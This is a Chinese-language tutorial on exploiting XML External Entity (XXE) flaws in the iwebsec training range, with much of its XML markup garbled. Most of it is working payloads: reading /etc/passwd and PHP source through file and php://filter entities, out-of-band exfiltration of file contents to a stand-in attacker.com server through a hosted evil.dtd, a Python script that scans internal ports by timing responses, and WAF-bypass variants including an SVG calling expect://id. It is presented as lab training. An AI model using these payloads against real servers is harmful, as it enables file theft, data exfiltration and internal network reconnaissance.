)
iwebsec靶场XXE漏洞实战3种协议读取文件与内网探测在安全测试领域XXEXML External Entity漏洞一直是一个容易被忽视但危害巨大的安全隐患。iwebsec靶场作为国内知名的漏洞演练平台其XXE漏洞环境设计精巧非常适合新手从零开始掌握实战技巧。本文将绕过繁琐的理论讲解直接切入实战操作手把手教你如何利用file、php、http三种协议实现文件读取并通过响应时间差异探测内网开放端口。1. 靶场环境快速搭建与漏洞定位iwebsec靶场提供多种部署方式推荐使用Docker快速启动docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec访问http://localhost即可进入靶场界面。在漏洞分类中选择XXE漏洞模块我们会看到一个简单的XML数据提交页面form action/xxe/process.php methodPOST textarea namedata rows10 cols50/textarea input typesubmit value提交 /form使用Burp Suite拦截提交请求可以看到原始请求格式POST /xxe/process.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded data%3Cuser%3E%3Cname%3Etest%3C%2Fname%3E%3C%2Fuser%3E关键漏洞点在于服务器未对XML外部实体进行过滤直接解析了用户提交的XML内容。我们可以通过修改Content-Type为application/xml并构造恶意XML实现攻击。2. 三协议文件读取实战2.1 file协议读取系统文件最直接的利用方式是通过file协议读取服务器本地文件。构造如下Payload?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM file:///etc/passwd ] user namexxe;/name /user关键参数说明!ENTITY xxe SYSTEM file:///etc/passwd定义名为xxe的外部实体xxe;引用该实体内容成功执行后服务器响应中将包含/etc/passwd文件内容。对于Windows系统可尝试读取file:///C:/Windows/win.ini等路径。2.2 php协议获取源码当需要读取PHP等脚本文件时直接使用file协议会导致代码被解析执行。此时应使用php过滤器?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM php://filter/convert.base64-encode/resource/var/www/html/xxe/process.php ] user namexxe;/name /user技巧说明convert.base64-encode将文件内容以Base64编码输出获取到Base64编码后需自行解码还原源码路径需根据实际情况调整常见Web根目录包括/var/www/html、/var/www等2.3 http协议外带数据当遇到无回显的盲注场景时可通过http协议将数据外带到攻击者控制的服务器?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; ] user nametest/name /user在攻击者服务器(attacker.com)放置evil.dtd文件!ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://attacker.com/?data%file; %eval; %exfil;实战要点需要具备公网服务器接收数据数据中的特殊字符需进行URL编码可通过DNSLog等平台简化外带过程3. 内网端口探测技术XXE的另一大威力在于内网探测。通过响应时间差异可以判断目标端口是否开放?xml version1.0 encodingUTF-8? !DOCTYPE root [ !ENTITY xxe SYSTEM http://192.168.1.1:80 ] user namexxe;/name /user探测逻辑若目标端口开放响应通常在1秒内返回若端口关闭连接会等待超时通常3-5秒可批量测试常见端口22, 80, 443, 3306等自动化探测脚本示例import requests import time ports [21, 22, 80, 443, 3306, 3389] target 192.168.1.1 for port in ports: start time.time() payload f?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM http://{target}:{port} ] usernamexxe;/name/user try: requests.post(http://target.com/xxe, datapayload, timeout3) except: pass if time.time() - start 1.5: print(f[] Port {port} open)4. 高级绕过与防御对抗现代WAF通常会检测明显的XXE特征以下是几种绕过技巧1. 编码混淆!ENTITY % payload SYSTEM php://filter/convert.base64-encode/resource/etc/passwd2. 参数实体嵌套!DOCTYPE root [ !ENTITY % param1 !ENTITY % param2 SYSTEM file:///etc/passwd %param1; %param2; ]3. SVG文件伪装svg xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink width300 version1.1 height200 image xlink:hrefexpect://id x0 y0 height200 width300/ /svg防御方面建议开发人员禁用外部实体解析libxml_disable_entity_loader(true);使用白名单过滤用户输入的XML内容升级XML解析库到最新版本5. 实战经验与排错指南在真实测试过程中常会遇到以下问题及解决方案问题1返回空白或错误检查XML格式是否正确闭合尝试不同协议(file/http/php)确认文件路径是否存在问题2特殊字符导致解析失败!ENTITY xxe SYSTEM http://attacker.com/?data![CDATA[敏感内容]]问题3Java环境下的特殊处理Java应用需要额外声明参数实体!DOCTYPE root [ !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; %exfil; ]问题4.NET环境限制.NET默认禁用DTD可尝试?xml version1.0 encodingUTF-8 ? xsl:stylesheet version1.0 xmlns:xslhttp://www.w3.org/1999/XSL/Transform xsl:template match/ xsl:value-of selectdocument(file:///etc/passwd)/ /xsl:template /xsl:stylesheet通过iwebsec靶场的系统化练习配合本文提供的实战Payload相信你能快速掌握XXE漏洞的挖掘与利用技巧。记住在实际渗透测试中务必获取合法授权后再进行安全评估